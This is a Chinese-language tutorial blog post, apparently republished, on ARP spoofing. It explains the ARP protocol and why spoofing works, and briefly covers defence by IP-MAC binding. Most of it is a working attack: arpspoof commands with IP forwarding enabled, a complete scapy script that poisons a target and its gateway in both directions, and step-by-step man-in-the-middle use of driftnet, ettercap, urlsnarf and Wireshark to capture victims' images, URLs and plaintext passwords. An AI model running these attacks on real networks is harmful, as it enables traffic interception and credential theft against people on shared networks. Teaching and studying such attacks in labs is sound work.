一文了解ARP欺骗

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文了解ARP欺骗相关的知识,希望对你有一定的参考价值。

前言

学习ARP欺骗

ARP欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)

1、ARP简介

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写,其作用是将已知IP地址转换为MAC地址

其过程是:

  • 你在知道你要给某个ip送包裹,但是你不知道对方的MAC地址,于是你就向内网中广播:谁有xxx的mac address?比如我们打开wireshark,搜索arp可以看到当前正在进行的arp通信,我的ip称之为57,我想知道146的mac地址,于是我广播道“谁有146?告诉57(我)”
  • 不一会cisco收到了我的询问,他知道问题的答案,于是告诉我说“146在xx:xx:xx:xx:xx:xx(mac addr)
  • 然后就可以愉快的通信了

详细原理可参见:一文搞明白ARP

2、ARP欺骗原理

利用的ARP弱点:ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,它就会把对应的ip-mac更新到自己的缓存表

所以原理也很简单:冒充网关或主机,无脑不断的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到我们的主机上

分类:

  • 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
  • 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
  • 主机网关一起骗

3、ARP欺骗实现

利用arpspoof即可轻松实现:

  • 打开 IP 转发:echo 1 > /proc/sys/net/ipv4/ip_forward
  • 然后使用 arpspoof 命令进行欺骗:arpspoof -i <网卡名> -t <欺骗的目标> <我是谁>
  • 终端1, 欺骗主机 A 我是网关:arpspoof -i eth0 -t 192.168.0.100 192.168.0.1
  • 终端2, 欺骗网关我是主机 A:arpspoof -i eth0 -t 192.168.0.1 192.168.0.100
  • 欺骗成功之后可以通过抓包工具所有流量

看到一个比较详细的实验:网络攻防实战–ARP欺骗

脚本

一个windows下的脚本

#-*- coding:utf-8 -*-
from scapy.all import *
import sys
from optparse import OptionParser
import os

#查看本地网卡
print("查看本地网卡:")
show_interfaces()
print("\\n")
def main():
    print("网卡网关靶机显示:")
    #网卡
    interface = "Intel(R) Dual Band Wireless-AC 3168"
    #interface = input("请输入网卡名称:")
    #网关
    gateway_ip = "192.168.0.1"
    #gateway_ip = input("请输入网关IP:")
    #靶机
    target_ip = "192.168.0.5"
    #target_ip = input("请输入靶机IP:")

    #设置网卡
    conf.iface = interface
    #关闭提示信息
    conf.verb = 0

    print("[*] 网卡: %s"%interface)

    #获取网卡MAC
    gateway_mac = getmacbyip(gateway_ip)

    if gateway_mac is None:
        print("[!] 获取网关MAC失败,Exiting")
        sys.exit(0)
    else:
        print("[*] 网关: %s MAC: %s"%(gateway_ip,gateway_mac))

    #获取靶机MAC
    target_mac = getmacbyip(target_ip)

    if target_mac is None:
        print("[!] 获取靶机MAC失败,Exiting")
    else:
        print("[*] 靶机: %s MAC: %s"%(target_ip,target_mac))
    print("\\n")

    attact_target(gateway_ip,gateway_mac,target_ip,target_mac)

#对靶机和网关进行双向欺骗
def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    使用scapy构造ARP请求包
    构造了源硬件地址,源协议地址,目标硬件地址,目标协议地址
    默认的以太网头部
    >>> ls(Ether())
    dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
    src        : SourceMACField                      = '3a:48:5a:8c:2e:4b' (None)
    type       : XShortEnumField                     = 36864           (36864)
    >>>
    '''

    '''
    查看ARP报文ls(ARP())
    >>> ls(ARP())
    hwtype     : XShortField                         = 1               (1)
    ptype      : XShortEnumField                     = 2048            (2048)
    hwlen      : FieldLenField                       = None            (None)
    plen       : FieldLenField                       = None            (None)
    op         : ShortEnumField                      = 1               (1)
    hwsrc      : MultipleTypeField                   = '3a:48:5a:8c:2e:4b' (None)
    psrc       : MultipleTypeField                   = '192.168.0.12'  (None)
    hwdst      : MultipleTypeField                   = None            (None)
    pdst       : MultipleTypeField                   = None            (None)
    >>>
    '''
    '''
    op:操作码,默认1,1为ARP请求包,2为ARP响应包
    hwsrc:发送方的MAC地址,默认本机
    psrc:发送方IP,告诉对方我自己的IP,用来伪装
    hwdst:对方的MAC地址
    pdst:对方的IP地址
    '''
    #构造ARP包

    #欺骗靶机,本机为网关(hwsrc默认本机MAC),本机为gateway
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    #欺骗网关,本机为靶机(hwsrc默认本机MAC),本机为target
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    print("[*] 正在进行ARP欺骗。[CRTL-C 停止]")

    while True:
        try:
            #循环发送ARP包
            send(poison_target)
            send(poison_gateway)
            #间隔2秒,避免影响网络
            time.sleep(2)
        except KeyboardInterrupt:
            #恢复ARP缓冲
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            break
    print("[*] ARP包已发送")

#恢复ARP缓存
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    print("[*] 恢复ARP缓存......")
    '''
    以广播形式发送
    hwdst="ff:ff:ff:ff:ff:ff"
    '''
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))

if __name__ == "__main__":
    main()

4、防御

防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表

5、基于ARP欺骗的MITM

作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。

值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。

如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求

(1)linux的ip转发

linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4ip_forward中。默认为0,需要修改为1

开启方法大致有两种:

  • 只接进入文件修改
cd /proc/sys/net/ipv4
ls
cat ip_forward
#显示结果为0
echo 1 > ip_forward
cat ip_forward
#显示结果为1,修改成功
  • 使用echo
# echo  "1"> /proc/sys/net/ipv4/ip_forward

(2)对网关和目标主机B的双向欺骗

命令如下:

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1

(3)利用driftnet进程监控

持续保持欺骗,再重新打开一个命令终端。
输入命令:

root@kali:~# driftnet -i eth0

跳出来的drift窗口即会显示本机正在浏览的图片

(4)使用ettercap工具获取密码

  • 打开新的终端,输入 attercap -G 启动工具
  • 点击Sniff -> unified sniffing,选择要抓包的网卡,默认是自己的网卡eth0,点确定
  • 然后单击Hosts -> Scan for host,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表
  • 选择攻击目标,点击192.168.11.105的ip地址,点击Add to Target 1 ,然后选择网关的ip地址192.168.11.1,点击Add to Target 2
  • 明确目标攻击方式:点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
  • 开始监听:start -> Start sniffing

工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。

(5)urlsnarf:获得受害者的HTTP请求

输入命令:

root@kali:~# urlsnarf -i eth0

(6)使用Wireshark抓包

使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。

结语

学习了下古老的ARP欺骗

以上是关于一文了解ARP欺骗的主要内容,如果未能解决你的问题,请参考以下文章

ARP欺骗是怎么回事?

Python黑客编程ARP欺骗

Python黑帽编程 3.1 ARP欺骗

arp欺骗实验报告

利用arpspoof实现ARP欺骗攻击

ARP欺骗